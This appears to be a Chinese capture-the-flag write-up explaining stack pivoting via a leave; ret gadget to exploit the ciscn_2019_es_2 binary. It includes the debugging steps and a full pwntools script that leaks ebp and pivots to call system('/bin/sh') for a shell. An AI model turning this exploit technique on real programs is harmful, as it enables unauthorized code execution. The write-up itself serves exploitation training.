栈迁移是在缓冲区溢出空间较少,不足以覆盖ebp和getshell_addr时采用,主要利用leave和ret两条指令。通过gadget修改esp值返回old_ebp,再ret使得eip指向下一个栈帧的地址,同
时增加esp的值,改变程序执行流程,使得程序从一个栈帧迁移到另一个栈帧。
1.检查文件类型,只有NX和部分RELRO打开,进入ida查看,主要看vuln函数。清除缓冲区,读入,打印,再读入。可以看到s的大小只有0x28,read写入0x30,溢出空间太少,不足以覆盖ebp和ret_addr,用栈迁移。
2.第一个read用来发送payload先填满缓冲区,这里注意,用send而不用sendline避免\n占去ebp的第一个地址;printf函数泄露出ebp的地址(printf函数遇到\x00前会一直打印),第二个read来构造新的栈帧进行leave ret。
3.第二个payload是关键,首先在ida里找到system(一个后门函数,参数需要改)地址,用gdb找到ROPgadget找到leave ret地址。
4.寻找偏移量,因为劫持目标地址是s的起始地址,这样在ida里进入vuln函数点tap键进入汇编,找nop命令,设置断点(0x080485FC)进入GDB调试,在第二个read输入aaaa,查看栈情况,图中推入0x0的地址即为old_ebp,其与插入aaaa的esp相距0x98-0x60=0x38,则说明printf出的ebp-0x38即为s的起始地址。
5.payload2构造时起先加上的b‘aaaa’是为了填充给到esp的四个字节大小(gdb调试填入aaaa后往下ni运行可以看到esp值为ebp指向的值还要加4(32位)),后面跟上system和/bin/sh把0x28的缓冲区填满,再接上s_addr和leave ret。
wp如下:欢迎各位师傅批评指正!
from pwn import*
io = process('./ciscn_2019_es_2')
#io = remote('nodeX.buuoj.cn',XXXX)
#gdb.attach(io)
sys_addr = 0x08048400
leave_ret = 0x080484B8
io.send(b'a'*0x27 + b'b')
io.recvuntil(b'b')
ebp_addr = u32(io.recv(4))
print(hex(ebp_addr))
payload2 = b'aaaa' + p32(sys_addr) + p32(0)
payload2 += p32(ebp_addr-0x28) + b'/bin/sh\x00'
payload2 = payload2.ljust(0x28,b'\x00')
payload2 += p32(ebp_addr - 0x38) + p32(leave_ret)
io.sendline(payload2)
io.interactive()